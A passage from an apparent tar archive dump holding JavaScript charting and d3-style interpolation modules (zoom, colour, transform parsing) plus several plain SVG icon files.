- v2, v3 = i < n - 1 ? values[i + 2] : 2 * v2 - v1; return basis((t - i / n) * n, v0, v1, v2, v3); }; } zoom.js000064400000011407151677266600006111 0ustar00import { ChartInternal } from './core'; import CLASS from './class'; ChartInternal.prototype.initZoom = function () { var $$ = this, d3 = $$.d3, config = $$.config, startEvent; $$.zoom = d3.zoom() .on("start", function () { if (config.zoom_type !== 'scroll') { return; } var e = d3.event.sourceEvent; if (e && e.type === "brush") { return; } startEvent = e; config.zoom_onzoomstart.call($$.api, e); }) .on("zoom", function () { if (config.zoom_type !== 'scroll') { return; } var e = d3.event.sourceEvent; if (e && e.type === "brush") { return; } $$.redrawForZoom(); config.zoom_onzoom.call($$.api, $$.x.orgDomain()); }) .on('end', function () { if (config.zoom_type !== 'scroll') { return; } var e = d3.event.sourceEvent; if (e && e.type === "brush") { return; } // if click, do nothing. otherwise, click interaction will be canceled. if (e && startEvent.clientX === e.clientX && startEvent.clientY === e.clientY) { return; } config.zoom_onzoomend.call($$.api, $$.x.orgDomain()); }); $$.zoom.updateDomain = function () { if (d3.event && d3.event.transform) { $$.x.domain(d3.event.transform.rescaleX($$.subX).domain()); } return this; }; $$.zoom.updateExtent = function () { this.scaleExtent([1, Infinity]) .translateExtent([[0, 0], [$$.width, $$.height]]) .extent([[0, 0], [$$.width, $$.height]]); return this; }; $$.zoom.update = function () { return this.updateExtent().updateDomain(); }; return $$.zoom.updateExtent(); }; ChartInternal.prototype.zoomTransform = function (range) { var $$ = this, s = [$$.x(range[0]), $$.x(range[1])]; return $$.d3.zoomIdentity.scale($$.width / (s[1] - s[0])).translate(-s[0], 0); }; ChartInternal.prototype.initDragZoom = function () { const $$ = this; const d3 = $$.d3; const config = $$.config; const context = $$.context = $$.svg; const brushXPos = $$.margin.left + 20.5; const brushYPos = $$.margin.top + 0.5; if (!(config.zoom_type === 'drag' && config.zoom_enabled)) { return; } const getZoomedDomain = selection => selection && selection.map(x => $$.x.invert(x)); const brush = $$.dragZoomBrush = d3.brushX() .on("start", () => { $$.api.unzoom(); $$.svg .select("." + CLASS.dragZoom) .classed("disabled", false); config.zoom_onzoomstart.call($$.api, d3.event.sourceEvent); }) .on("brush", () => { config.zoom_onzoom.call($$.api, getZoomedDomain(d3.event.selection)); }) .on("end", () => { if (d3.event.selection == null) { return; } const zoomedDomain = getZoomedDomain(d3.event.selection); if (!config.zoom_disableDefaultBehavior) { $$.api.zoom(zoomedDomain); } $$.svg .select("." + CLASS.dragZoom) .classed("disabled", true); config.zoom_onzoomend.call($$.api, zoomedDomain); }); context .append("g") .classed(CLASS.dragZoom, true) .attr("clip-path", $$.clipPath) .attr("transform", "translate(" + brushXPos + "," + brushYPos + ")") .call(brush); }; ChartInternal.prototype.getZoomDomain = function () { var $$ = this, config = $$.config, d3 = $$.d3, min = d3.min([$$.orgXDomain[0], config.zoom_x_min]), max = d3.max([$$.orgXDomain[1], config.zoom_x_max]); return [min, max]; }; ChartInternal.prototype.redrawForZoom = function () { var $$ = this, d3 = $$.d3, config = $$.config, zoom = $$.zoom, x = $$.x; if (!config.zoom_enabled) { return; } if ($$.filterTargetsToShow($$.data.targets).length === 0) { return; } zoom.update(); if (config.zoom_disableDefaultBehavior) { return; } if ($$.isCategorized() && x.orgDomain()[0] === $$.orgXDomain[0]) { x.domain([$$.orgXDomain[0] - 1e-10, x.orgDomain()[1]]); } $$.redraw({ withTransition: false, withY: config.zoom_rescale, withSubchart: false, withEventRect: false, withDimension: false }); if (d3.event.sourceEvent && d3.event.sourceEvent.type === 'mousemove') { $$.cancelClick = true; } }; array.js000064400000000053151677266600006236 0ustar00export var slice = Array.prototype.slice; color.js000064400000003373151677266600006246 0ustar00import { ChartInternal } from './core'; import { notEmpty } from './util'; ChartInternal.prototype.generateColor = function () { var $$ = this, config = $$.config, d3 = $$.d3, colors = config.data_colors, pattern = notEmpty(config.color_pattern) ? config.color_pattern : d3.schemeCategory10, callback = config.data_color, ids = []; return function (d) { var id = d.id || (d.data && d.data.id) || d, color; // if callback function is provided if (colors[id] instanceof Function) { color = colors[id](d); } // if specified, choose that color else if (colors[id]) { color = colors[id]; } // if not specified, choose from pattern else { if (ids.indexOf(id) < 0) { ids.push(id); } color = pattern[ids.indexOf(id) % pattern.length]; colors[id] = color; } return callback instanceof Function ? callback(color, d) : color; }; }; ChartInternal.prototype.generateLevelColor = function () { var $$ = this, config = $$.config, colors = config.color_pattern, threshold = config.color_threshold, asValue = threshold.unit === 'value', values = threshold.values && threshold.values.length ? threshold.values : [], max = threshold.max || 100; return notEmpty(config.color_threshold) ? function (value) { var i, v, color = colors[colors.length - 1]; for (i = 0; i < values.length; i++) { v = asValue ? value : (value * 100 / max); if (v < values[i]) { color = colors[i]; break; } } return color; } : null; }; hue.js000064400000000270151677266600005702 0ustar00import {hue} from "./color"; export default function(a, b) { var i = hue(+a, +b); return function(t) { var x = i(t); return x - 360 * Math.floor(x / 360); }; } transform/decompose.js000064400000001272151677266600011115 0ustar00var degrees = 180 / Math.PI; export var identity = { translateX: 0, translateY: 0, rotate: 0, skewX: 0, scaleX: 1, scaleY: 1 }; export default function(a, b, c, d, e, f) { var scaleX, scaleY, skewX; if (scaleX = Math.sqrt(a * a + b * b)) a /= scaleX, b /= scaleX; if (skewX = a * c + b * d) c -= a * skewX, d -= b * skewX; if (scaleY = Math.sqrt(c * c + d * d)) c /= scaleY, d /= scaleY, skewX /= scaleY; if (a * d < b * c) a = -a, b = -b, skewX = -skewX, scaleX = -scaleX; return { translateX: e, translateY: f, rotate: Math.atan2(b, a) * degrees, skewX: Math.atan(skewX) * degrees, scaleX: scaleX, scaleY: scaleY }; } transform/index.js000064400000004117151677266600010247 0ustar00import number from "../number"; import {parseCss, parseSvg} from "./parse"; function interpolateTransform(parse, pxComma, pxParen, degParen) { function pop(s) { return s.length ? s.pop() + " " : ""; } function translate(xa, ya, xb, yb, s, q) { if (xa !== xb || ya !== yb) { var i = s.push("translate(", null, pxComma, null, pxParen); q.push({i: i - 4, x: number(xa, xb)}, {i: i - 2, x: number(ya, yb)}); } else if (xb || yb) { s.push("translate(" + xb + pxComma + yb + pxParen); } } function rotate(a, b, s, q) { if (a !== b) { if (a - b > 180) b += 360; else if (b - a > 180) a += 360; // shortest path q.push({i: s.push(pop(s) + "rotate(", null, degParen) - 2, x: number(a, b)}); } else if (b) { s.push(pop(s) + "rotate(" + b + degParen); } } function skewX(a, b, s, q) { if (a !== b) { q.push({i: s.push(pop(s) + "skewX(", null, degParen) - 2, x: number(a, b)}); } else if (b) { s.push(pop(s) + "skewX(" + b + degParen); } } function scale(xa, ya, xb, yb, s, q) { if (xa !== xb || ya !== yb) { var i = s.push(pop(s) + "scale(", null, ",", null, ")"); q.push({i: i - 4, x: number(xa, xb)}, {i: i - 2, x: number(ya, yb)}); } else if (xb !== 1 || yb !== 1) { s.push(pop(s) + "scale(" + xb + "," + yb + ")"); } } return function(a, b) { var s = [], // string constants and placeholders q = []; // number interpolators a = parse(a), b = parse(b); translate(a.translateX, a.translateY, b.translateX, b.translateY, s, q); rotate(a.rotate, b.rotate, s, q); skewX(a.skewX, b.skewX, s, q); scale(a.scaleX, a.scaleY, b.scaleX, b.scaleY, s, q); a = b = null; // gc return function(t) { var i = -1, n = q.length, o; while (++i < n) s[(o = q[i]).i] = o.x(t); return s.join(""); }; }; } export var interpolateTransformCss = interpolateTransform(parseCss, "px, ", "px)", "deg)"); export var interpolateTransformSvg = interpolateTransform(parseSvg, ", ", ")", ")"); transform/parse.js000064400000001755151677266600010257 0ustar00import decompose, {identity} from "./decompose"; var cssNode, cssRoot, cssView, svgNode; export function parseCss(value) { if (value === "none") return identity; if (!cssNode) cssNode = document.createElement("DIV"), cssRoot = document.documentElement, cssView = document.defaultView; cssNode.style.transform = value; value = cssView.getComputedStyle(cssRoot.appendChild(cssNode), null).getPropertyValue("transform"); cssRoot.removeChild(cssNode); value = value.slice(7, -1).split(","); return decompose(+value[0], +value[1], +value[2], +value[3], +value[4], +value[5]); } export function parseSvg(value) { if (value == null) return identity; if (!svgNode) svgNode = document.createElementNS("http://www.w3.org/2000/svg", "g"); svgNode.setAttribute("transform", value); if (!(value = svgNode.transform.baseVal.consolidate())) return identity; value = value.matrix; return decompose(value.a, value.b, value.c, value.d, value.e, value.f); } rgb.js000064400000002477151677266600005706 0ustar00import {rgb as colorRgb} from "d3-color"; import basis from "./basis"; import basisClosed from "./basisClosed"; import nogamma, {gamma} from "./color"; export default (function rgbGamma(y) { var color = gamma(y); function rgb(start, end) { var r = color((start = colorRgb(start)).r, (end = colorRgb(end)).r), g = color(start.g, end.g), b = color(start.b, end.b), opacity = nogamma(start.opacity, end.opacity); return function(t) { start.r = r(t); start.g = g(t); start.b = b(t); start.opacity = opacity(t); return start + ""; }; } rgb.gamma = rgbGamma; return rgb; })(1); function rgbSpline(spline) { return function(colors) { var n = colors.length, r = new Array(n), g = new Array(n), b = new Array(n), i, color; for (i = 0; i < n; ++i) { color = colorRgb(colors[i]); r[i] = color.r || 0; g[i] = color.g || 0; b[i] = color.b || 0; } r = spline(r); g = spline(g); b = spline(b); color.opacity = 1; return function(t) { color.r = r(t); color.g = g(t); color.b = b(t); return color + ""; }; }; } export var rgbBasis = rgbSpline(basis); export var rgbBasisClosed = rgbSpline(basisClosed); object.js000064400000000635151677266600006374 0ustar00import value from "./value"; export default function(a, b) { var i = {}, c = {}, k; if (a === null || typeof a !== "object") a = {}; if (b === null || typeof b !== "object") b = {}; for (k in b) { if (k in a) { i[k] = value(a[k], b[k]); } else { c[k] = b[k]; } } return function(t) { for (k in i) c[k] = i[k](t); return c; }; } hcl.js000064400000001070151677266600005666 0ustar00import {hcl as colorHcl} from "d3-color"; import color, {hue} from "./color"; function hcl(hue) { return function(start, end) { var h = hue((start = colorHcl(start)).h, (end = colorHcl(end)).h), c = color(start.c, end.c), l = color(start.l, end.l), opacity = color(start.opacity, end.opacity); return function(t) { start.h = h(t); start.c = c(t); start.l = l(t); start.opacity = opacity(t); return start + ""; }; } } export default hcl(hue); export var hclLong = hcl(color); lab.js000064400000000717151677266600005665 0ustar00import {lab as colorLab} from "d3-color"; import color from "./color"; export default function lab(start, end) { var l = color((start = colorLab(start)).l, (end = colorLab(end)).l), a = color(start.a, end.a), b = color(start.b, end.b), opacity = color(start.opacity, end.opacity); return function(t) { start.l = l(t); start.a = a(t); start.b = b(t); start.opacity = opacity(t); return start + ""; }; } quantize.js000064400000000250151677266600006757 0ustar00export default function(interpolator, n) { var samples = new Array(n); for (var i = 0; i < n; ++i) samples[i] = interpolator(i / (n - 1)); return samples; } string.js000064400000003436151677266600006436 0ustar00import number from "./number"; var reA = /[-+]?(?:\d+\.?\d*|\.?\d+)(?:[eE][-+]?\d+)?/g, reB = new RegExp(reA.source, "g"); function zero(b) { return function() { return b; }; } function one(b) { return function(t) { return b(t) + ""; }; } export default function(a, b) { var bi = reA.lastIndex = reB.lastIndex = 0, // scan index for next number in b am, // current match in a bm, // current match in b bs, // string preceding current number in b, if any i = -1, // index in s s = [], // string constants and placeholders q = []; // number interpolators // Coerce inputs to strings. a = a + "", b = b + ""; // Interpolate pairs of numbers in a & b. while ((am = reA.exec(a)) && (bm = reB.exec(b))) { if ((bs = bm.index) > bi) { // a string precedes the next number in b bs = b.slice(bi, bs); if (s[i]) s[i] += bs; // coalesce with previous string else s[++i] = bs; } if ((am = am[0]) === (bm = bm[0])) { // numbers in a & b match if (s[i]) s[i] += bm; // coalesce with previous string else s[++i] = bm; } else { // interpolate non-matching numbers s[++i] = null; q.push({i: i, x: number(am, bm)}); } bi = reB.lastIndex; } // Add remains of b. if (bi < b.length) { bs = b.slice(bi); if (s[i]) s[i] += bs; // coalesce with previous string else s[++i] = bs; } // Special optimization for only a single match. // Otherwise, interpolate each of the numbers and rejoin the string. return s.length < 2 ? (q[0] ? one(q[0].x) : zero(b)) : (b = q.length, function(t) { for (var i = 0, o; i < b; ++i) s[(o = q[i]).i] = o.x(t); return s.join(""); }); } discrete.js000064400000000240151677266600006720 0ustar00export default function(range) { var n = range.length; return function(t) { return range[Math.max(0, Math.min(n - 1, Math.floor(t * n)))]; }; } piecewise.js000064400000000476151677266600007106 0ustar00export default function piecewise(interpolate, values) { var i = 0, n = values.length - 1, v = values[0], I = new Array(n < 0 ? 0 : n); while (i < n) I[i] = interpolate(v, v = values[++i]); return function(t) { var i = Math.max(0, Math.min(n - 1, Math.floor(t *= n))); return I[i](t - i); }; } hsl.js000064400000001070151677266600005706 0ustar00import {hsl as colorHsl} from "d3-color"; import color, {hue} from "./color"; function hsl(hue) { return function(start, end) { var h = hue((start = colorHsl(start)).h, (end = colorHsl(end)).h), s = color(start.s, end.s), l = color(start.l, end.l), opacity = color(start.opacity, end.opacity); return function(t) { start.h = h(t); start.s = s(t); start.l = l(t); start.opacity = opacity(t); return start + ""; }; } } export default hsl(hue); export var hslLong = hsl(color); cubehelix.js000064400000001425151677266600007074 0ustar00import {cubehelix as colorCubehelix} from "d3-color"; import color, {hue} from "./color"; function cubehelix(hue) { return (function cubehelixGamma(y) { y = +y; function cubehelix(start, end) { var h = hue((start = colorCubehelix(start)).h, (end = colorCubehelix(end)).h), s = color(start.s, end.s), l = color(start.l, end.l), opacity = color(start.opacity, end.opacity); return function(t) { start.h = h(t); start.s = s(t); start.l = l(Math.pow(t, y)); start.opacity = opacity(t); return start + ""; }; } cubehelix.gamma = cubehelixGamma; return cubehelix; })(1); } export default cubehelix(hue); export var cubehelixLong = cubehelix(color); date.js000064400000000214151677266600006034 0ustar00export default function(a, b) { var d = new Date; return a = +a, b -= a, function(t) { return d.setTime(a + b * t), d; }; } number.js000064400000000102151677266600006403 0ustar00export default function(x) { return x === null ? NaN : +x; } value.js000064400000001261151677266600006236 0ustar00import {color} from "d3-color"; import rgb from "./rgb"; import array from "./array"; import date from "./date"; import number from "./number"; import object from "./object"; import string from "./string"; import constant from "./constant"; export default function(a, b) { var t = typeof b, c; return b == null || t === "boolean" ? constant(b) : (t === "number" ? number : t === "string" ? ((c = color(b)) ? (b = c, rgb) : string) : b instanceof color ? rgb : b instanceof Date ? date : Array.isArray(b) ? array : typeof b.valueOf !== "function" && typeof b.toString !== "function" || isNaN(b) ? object : number)(a, b); } basisClosed.js000064400000000565151677266600007363 0ustar00import {basis} from "./basis"; export default function(values) { var n = values.length; return function(t) { var i = Math.floor(((t %= 1) < 0 ? ++t : t) * n), v0 = values[(i + n - 1) % n], v1 = values[i % n], v2 = values[(i + 1) % n], v3 = values[(i + 2) % n]; return basis((t - i / n) * n, v0, v1, v2, v3); }; } icons/subscript.svg000064400000002432151677272030010431 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #000; fill-rule: evenodd; } </style> </defs> <path d="M1224.354,1117.078 L1006.601,1117.078 L1006.601,1067.562 C1091.466,990.519 1138.701,951.568 1139.220,911.578 C1139.220,887.702 1124.350,874.518 1097.335,874.518 C1072.236,874.518 1052.062,887.167 1032.530,901.592 L1009.016,842.278 C1039.234,818.882 1075.104,808.372 1110.771,808.372 C1176.237,808.372 1218.537,846.614 1218.537,905.801 C1218.537,965.501 1168.603,1011.339 1122.925,1049.581 L1224.354,1049.581 L1224.354,1117.078 ZM486.761,678.568 L296.843,975.803 L46.215,975.803 L46.215,879.988 L100.910,879.988 C134.010,879.988 164.672,863.823 181.618,837.434 L377.259,532.875 L188.346,256.449 C171.116,231.230 141.182,215.947 109.001,215.947 L57.840,215.947 L57.840,120.132 L291.295,120.132 L486.761,404.237 L682.228,120.132 L915.687,120.132 L915.687,215.947 L864.527,215.947 C832.355,215.947 802.411,231.230 785.177,256.449 L596.263,532.875 L791.904,837.434 C808.860,863.823 839.522,879.988 872.622,879.988 L927.312,879.988 L927.312,975.803 L676.684,975.803 L486.761,678.568 Z" class="cls-1"/> </svg> icons/minus.svg000064400000001123151677272030007542 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve"> <g> <g> <rect x="108.93" y="432.341" fill="#010202" width="806.141" height="159.071"/> </g> </g> </svg> icons/circle.svg000064400000001006151677272030007650 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill-rule: evenodd; } </style> </defs> <path class="cls-1" d="M501.845-55.324c318.546,0,576.775,255.772,576.775,571.282S820.391,1087.24,501.845,1087.24-74.935,831.469-74.935,515.958,183.3-55.324,501.845-55.324Zm0,90.262c268.216,0,485.649,215.36,485.649,481.02s-217.433,481.02-485.649,481.02S16.2,781.618,16.2,515.958,233.629,34.938,501.845,34.938Z"/> </svg> icons/italic.svg000064400000001772151677272030007666 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #000; fill-rule: evenodd; } </style> </defs> <path d="M421.903,47.502 L401.526,111.534 C422.134,113.396 440.987,118.386 458.094,126.498 C475.187,134.622 483.740,152.142 483.740,179.046 C483.740,190.652 479.527,211.066 471.091,240.297 L291.199,805.870 C280.890,839.748 268.713,865.849 254.659,884.172 C240.604,902.508 216.713,911.663 182.985,911.663 L162.604,975.699 L558.929,975.699 L577.201,911.663 C550.960,911.663 528.121,906.446 508.688,896.006 C489.241,885.562 479.527,868.511 479.527,844.848 C479.527,830.470 483.740,816.731 492.176,790.283 L670.662,217.327 C679.093,190.423 687.175,169.890 694.903,155.733 C702.635,141.584 712.826,130.794 725.475,123.367 C738.123,115.952 754.041,112.002 773.257,111.534 L793.634,47.502 L421.903,47.502 Z" class="cls-1"/> </svg> icons/code.svg000064400000001266151677272030007331 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #000; fill-rule: evenodd; } </style> </defs> <path d="M799.573,828.389 L799.573,719.346 L1122.342,549.372 L799.573,379.397 L799.573,270.358 L1237.987,510.886 L1237.987,587.857 L799.573,828.389 ZM291.448,927.098 L601.210,127.469 L718.855,127.469 L409.093,927.098 L291.448,927.098 ZM-215.002,510.886 L223.407,270.358 L223.407,379.397 L-99.357,549.372 L223.407,719.346 L223.407,828.389 L-215.002,587.857 L-215.002,510.886 Z" class="cls-1"/> </svg> icons/text-height.svg000064400000002301151677272030010640 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #000; fill-rule: evenodd; } </style> </defs> <path d="M1073.727,843.931 L1211.024,843.931 L1039.529,975.262 L868.030,843.931 L1005.602,843.931 L1005.602,251.428 L876.962,251.428 L1039.529,120.159 L1202.092,251.428 L1073.727,251.428 L1073.727,843.931 ZM649.994,233.729 C624.218,210.392 565.126,198.716 508.696,198.716 L430.715,198.716 L430.715,797.755 C430.715,837.588 437.714,865.323 451.712,880.954 C465.705,896.596 495.137,904.404 540.026,904.404 L563.354,904.404 L563.354,975.720 L76.224,975.720 L76.224,904.404 L97.552,904.404 C142.875,904.404 178.706,896.374 192.265,880.311 C205.816,864.251 212.595,836.734 212.595,797.755 L212.595,198.716 L130.211,198.716 C84.888,198.716 29.423,203.434 8.095,212.849 C-13.237,222.275 -31.128,241.017 -45.565,269.065 C-60.005,297.124 -68.785,330.421 -71.891,368.971 L-145.075,368.971 L-145.075,120.977 L789.565,120.977 L789.565,368.971 L709.981,368.971 C695.755,302.152 675.761,257.081 649.994,233.729 Z" class="cls-1"/> </svg> icons/arrows-alt.svg000064400000001355151677272030010511 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #241f20; fill-rule: evenodd; } </style> </defs> <path d="M837.145,253.759 L960.985,376.234 L960.962,68.043 L649.512,68.025 L773.407,190.643 L512.001,449.497 L250.597,190.644 L374.284,68.005 L63.042,68.007 L63.043,376.234 L186.856,253.762 L448.259,512.615 L193.137,765.250 L63.009,636.616 L63.047,956.987 L386.773,957.000 L256.875,828.366 L512.000,575.732 L767.129,828.366 L637.230,957.000 L960.948,956.987 L960.926,636.616 L830.863,765.250 L575.742,512.615 L837.145,253.759 Z" class="cls-1"/> </svg> icons/align-outdent.svg000064400000001577151677272030011176 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #000; fill-rule: evenodd; } </style> </defs> <path d="M10.989,129.999 L10.989,283.817 L1013.000,283.817 L1013.000,129.999 L10.989,129.999 ZM473.108,588.303 L1012.999,588.303 L1012.999,436.108 L473.108,436.108 L473.108,588.303 L473.108,588.303 ZM473.108,892.792 L1012.999,892.792 L1012.999,740.550 L473.108,740.550 L473.108,892.792 L473.108,892.792 ZM282.568,439.002 C261.604,451.493 41.464,631.478 23.747,642.701 C7.862,652.780 7.579,676.772 23.747,686.830 C48.380,702.143 267.392,881.205 281.839,890.074 C299.843,901.157 318.071,887.064 318.071,868.123 L318.071,460.818 C318.068,439.954 297.923,429.831 282.568,439.002 Z" class="cls-1"/> </svg> icons/close.svg000064400000002143151677272030007517 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve"> <g> <g> <path fill="#010202" d="M562.27,511.274l305.892-305.888c1.935-1.937,1.935-5.809,0-9.68l-44.532-42.592 c-1.936-1.937-3.868-1.937-3.868-1.937c-1.94,0-1.94,0-3.872,1.937L510,459.002l-305.887-306.13 c-1.939-1.936-3.873-1.936-3.873-1.936c-1.939,0-1.939,0-3.872,1.936l-44.528,44.77c-1.939,1.935-1.939,5.808,0,9.68 L457.728,513.21L151.84,816.92c-1.939,1.936-1.939,5.808,0,9.68l42.592,44.527c1.936,1.939,3.869,1.939,3.869,1.939 s1.939,0,3.873-1.939L510,563.545l305.889,305.89c1.936,1.936,3.872,1.936,3.872,1.936s1.935,0,3.868-1.936l42.592-44.532 c1.94-1.935,1.94-5.807,0-9.68L562.27,511.274z"/> </g> </g> </svg> icons/menu-check.svg000064400000001206151677272030010430 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve"> <path fill="#010202" d="M402.399,830.4L128.8,556.8V550.4L237.6,448L404,614.4l382.399-420.8l108.8,102.4v6.4L402.399,830.4 L402.399,830.4L402.399,830.4z"/> </svg> icons/trash.svg000064400000002510151677272030007531 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve"> <g> <g> <path fill="#040507" d="M684.868,95.723c-38.258,0-69.273-30.712-69.273-68.606H389.834c0,37.891-31.018,68.606-69.276,68.606 H15.731v69.894h978.333V95.723H684.868z M224.755,996.884h560.281L924.92,234.799H84.871L224.755,996.884z M688.173,355.88 c0-22.491,18.415-40.721,41.121-40.721c22.71,0,41.12,18.23,41.12,40.721l-60.545,515.828c0,22.491-18.415,40.719-41.118,40.719 c-22.707,0-41.116-18.229-41.116-40.719L688.173,355.88z M464.44,355.88c0-22.491,18.413-40.721,41.123-40.721 c22.708,0,41.115,18.23,41.115,40.721v515.828c0,22.491-18.407,40.719-41.115,40.719c-22.712,0-41.123-18.229-41.123-40.719 V355.88z M269.712,315.159c22.711,0,41.118,18.23,41.118,40.721l70.229,515.828c0,22.491-18.405,40.719-41.113,40.719 c-22.712,0-41.123-18.229-41.123-40.719L228.593,355.88C228.594,333.39,247.004,315.159,269.712,315.159z"/> </g> </g> </svg> icons/question.svg000064400000001401151677272030010255 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill-rule: evenodd; } </style> </defs> <path id="Rounded_Rectangle_6" data-name="Rounded Rectangle 6" class="cls-1" d="M418.652,985.119h194.77V798.656H418.652V985.119ZM180.886,334.113H369.145q0-53.547,31.508-103.232T507.57,181.2q76.667,0,105.595,40.326t28.918,89.361q0,42.582-25.973,78.068-14.295,20.655-37.67,38.066L531.017,463.8q-70.137,54.192-87.023,95.81T423.21,710.265H599.743q0.642-51.612,8.446-76.133,12.341-38.713,50.028-67.75L704.332,530.9q70.173-54.2,94.851-89.039,42.234-57.417,42.233-141.3,0-136.773-97.387-206.46t-244.6-69.684q-112.047,0-188.909,49.038Q188.7,150.243,180.886,334.113h0Z"/> </svg> icons/undo.svg000064400000000713151677272030007360 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill-rule: evenodd; } </style> </defs> <path id="Shape_29_copy_2" data-name="Shape 29 copy 2" class="cls-1" d="M-84.808,193.372V728.531H480.079L325.064,580.294s-21.019-241.2,341.56-241.2S1176.34,648.131,1176.34,648.131s-147.14-482.4-546.5-482.4c-364.362,0-567.515,165.824-567.515,165.824Z"/> </svg> icons/col-remove.svg000064400000003546151677272030010472 0ustar00<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!-- Created with Inkscape (http://www.inkscape.org/) --> <svg id="svg3446" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://www.w3.org/2000/svg" xmlns:osb="http://www.openswatchbook.org/uri/2009/osb" height="3.9511mm" width="3.9496mm" version="1.1" xmlns:cc="http://creativecommons.org/ns#" viewBox="0 0 13.99474 14" xmlns:dc="http://purl.org/dc/elements/1.1/"> <metadata id="metadata3451"> <rdf:RDF> <cc:Work rdf:about=""> <dc:format>image/svg+xml</dc:format> <dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/> <dc:title/> </cc:Work> </rdf:RDF> </metadata> <g id="layer1" transform="translate(732.42 107.67)"> <g id="g3692-8" transform="matrix(0 1 -1 0 -536.02 -2867.7)"> <path id="path5085-1-1" d="m2764.7 190q-0.2558 0-0.4348-0.17906l-0.8698-0.86975q-0.1791-0.17906-0.1791-0.43487t0.1791-0.43487l1.8802-1.8802-1.8802-1.8802q-0.1791-0.17906-0.1791-0.43487t0.1791-0.43487l0.8698-0.86975q0.179-0.17906 0.4348-0.17906t0.4349 0.17906l1.8802 1.8802 1.8802-1.8802q0.179-0.17906 0.4348-0.17906t0.4349 0.17906l0.8698 0.86975q0.179 0.17906 0.179 0.43487t-0.179 0.43487l-1.8802 1.8802 1.8802 1.8802q0.179 0.17906 0.179 0.43487t-0.179 0.43487l-0.8698 0.86975q-0.1791 0.17906-0.4349 0.17906t-0.4348-0.17906l-1.8802-1.8802-1.8802 1.8802q-0.1791 0.17906-0.4349 0.17906z"/> <path id="polygon3366-49-8-3-07" style="image-rendering:optimizeQuality;shape-rendering:geometricPrecision" d="m2774 191.08c0-0.2901-0.1688-0.5229-0.3789-0.5229h-13.242c-0.21 0-0.3789 0.2328-0.3789 0.5229v4.7928c0 0.29 0.1689 0.5252 0.3789 0.5252h13.242c0.2101 0 0.3789-0.2352 0.3789-0.5252v-4.7928zm-1.1582 0.687v3.4211h-3.2168v-3.4211h3.2168zm-4.2852 0v3.4211h-3.2148v-3.4211h3.2148zm-4.2832 0v3.4211h-3.2148v-3.4211h3.2148z" fill-rule="evenodd" clip-rule="evenodd"/> </g> </g> </svg> icons/chain-broken.svg000064400000004724151677272030010761 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> 